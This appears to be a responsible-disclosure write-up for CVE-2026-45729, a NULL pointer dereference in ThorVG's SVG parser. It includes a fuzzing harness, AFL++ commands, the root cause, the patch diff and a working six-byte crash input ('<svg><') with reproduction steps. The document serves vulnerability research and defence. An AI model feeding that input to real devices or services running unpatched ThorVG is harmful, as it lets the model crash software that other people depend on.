## https://sploitus.com/exploit?id=PACKETSTORM:226545
# CVE-2026-45729 β ThorVG NULL Pointer Dereference via Malformed SVG
**Severity:** CVSS 4.3 (Medium) β CWE-476
**Advisory:** [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)
**Fixed:** ThorVG v1.0.5
**Status:** Patched / Disclosed
---
## Summary
ThorVG's SVG parser dereferences a pointer that is never initialized when it encounters a
truncated child element tag inside a root `<svg>` node. The bug is reachable through the
normal rendering path (`tvg::Picture::load` β parse β render) and can be triggered with
a **6-byte** input.
The worst-case impact on standard Linux is a process crash (DoS) β `mmap_min_addr` prevents
mapping the NULL page, so the fault is not directly exploitable for code execution in that
environment. On MMU-less targets where ThorVG is also used (Tizen, LVGL-based firmware) the
exploitability picture is different and warrants a closer look.
---
## Target selection rationale
ThorVG is a cross-platform vector graphics engine written in C++17. It is the default SVG/Lottie
renderer in **Samsung Tizen OS**, is bundled in **LVGL** (widely used in embedded/IoT UI),
and is distributed as a standalone library on multiple platforms.
The library processes untrusted SVG/JSON input and is often exposed in contexts without privilege
separation. Parser code in graphics libraries has historically been a reliable source of memory
safety bugs β ThorVG is actively developed and at the time of this research had no recorded
fuzzing coverage in public bug trackers.
---
## Fuzzing setup
### Harness
The harness wraps ThorVG's in-memory load API so AFL++ can drive the parser directly without
disk I/O.
```cpp
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
```
Build with ASAN + coverage instrumentation:
```bash
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
```
### Seed corpus
Starting from scratch with random bytes performs poorly on format-sensitive parsers.
I seeded the corpus with a set of structurally valid minimal SVG files covering:
- Empty SVG (`<svg xmlns="..."/>`)
- SVG with basic shapes (`<rect>`, `<circle>`, `<path>`)
- SVG with a nested `<g>` group
- SVG with a `<use>` xlink reference
- A small Lottie/JSON animation (ThorVG also handles this format)
Structure-aware seeds cut the time to first interesting paths from hours to under 20 minutes
in my environment.
### AFL++ flags
```bash
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
```
`-x svg.dict` β AFL++ token dictionary with SVG keywords to help mutate toward valid tag names.
`-m none` β ASAN shadow memory requires disabling AFL++'s memory limit.
---
## Crash discovery
AFL++ produced a crash after approximately **3 hours** of single-core fuzzing.
The initial crashing input was ~180 bytes. The ASAN output:
```
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
```
The fault is a read through an uninitialized (NULL) `SvgNode*` pointer inside `_parseStyle`.
The pointer is expected to be set by `_createElement` when it processes a child element,
but a truncated tag name causes the element to be skipped without the pointer being assigned,
and `_parseStyle` proceeds to dereference it regardless.
---
## Minimization
Minimized with `afl-tmin`, then manual pruning:
```bash
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
```
After `afl-tmin` the input was 14 bytes. Manual inspection of the parse path showed only the
first 6 bytes were consumed before the fault:
```
<svg><
```
`<svg>` opens the root node. `<` starts a child element tag. The parser reads the tag name,
gets an empty string (the input ends immediately after `<`), skips element creation, and
falls through into `_parseStyle` with the node pointer still NULL.
Confirm the 6-byte trigger reproduces:
```bash
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
```
---
## Root cause
```
src/loaders/svg/tvgSvgParser.cpp
```
Simplified pseudocode of the vulnerable flow:
```cpp
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" β returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // β dereferences node->style at offset 0x18
```
The fix in v1.0.5 adds an early return in the element dispatch loop when `_createElement`
returns `nullptr`, before any attribute/style processing is attempted.
---
## Exploitability analysis
### Standard Linux (CVSS 4.3 / Medium)
`/proc/sys/vm/mmap_min_addr` is typically set to `65536` on modern distros.
The NULL page is not mapped, so the CPU raises a SIGSEGV that the kernel converts to
a signal to the process β result is a **crash (DoS)**. No controlled write, no PC
control, not directly exploitable for code execution.
### Embedded / MMU-less targets
ThorVG is a first-class citizen in **Tizen** (Samsung IoT/wearable OS) and is integrated
into **LVGL**, which runs on microcontrollers and systems without an MMU.
On MMU-less systems there is no memory protection and `mmap_min_addr` does not apply.
If the NULL page is mapped (which is common in bare-metal embedded environments), a NULL
pointer dereference can potentially point into attacker-controlled memory. Whether this
is reachable in a real attack depends on the attack surface β ThorVG on a Tizen device
may parse SVG from untrusted network sources or user-supplied content.
This context is what justifies responsible disclosure even for a CVSS Medium finding.
---
## Disclosure timeline
| Date | Event |
|---|---|
| 2026-xx-xx | Crash discovered via AFL++ |
| 2026-xx-xx | Root cause confirmed under ASAN; 6-byte POC produced |
| 2026-xx-xx | Private report sent to ThorVG maintainer (hermet) via GitHub Security Advisory |
| 2026-xx-xx | Maintainer acknowledged and opened private fork |
| 2026-xx-xx | Patch merged into v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 published; CVE-2026-45729 assigned |
---
## Patch diff (summary)
The patch adds a NULL guard in the SVG element dispatch loop:
```cpp
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
```
Full diff: [ThorVG v1.0.5 release](https://github.com/thorvg/thorvg/releases/tag/v1.0.5)
---
## Reproduction (safe, local only)
```bash
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
```
Expected output: ASAN report with `SEGV on unknown address 0x000000000000` in
`tvg::SvgParser::_parseStyle`.
---
## References
- [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)
- [ThorVG project](https://github.com/thorvg/thorvg)
- [CWE-476: NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)
- [AFL++ documentation](https://aflplus.plus/)
---
*Found by yeahhbean (μ΄μλΉ) via AFL++ coverage-guided fuzzing with structure-aware SVG seed corpus.*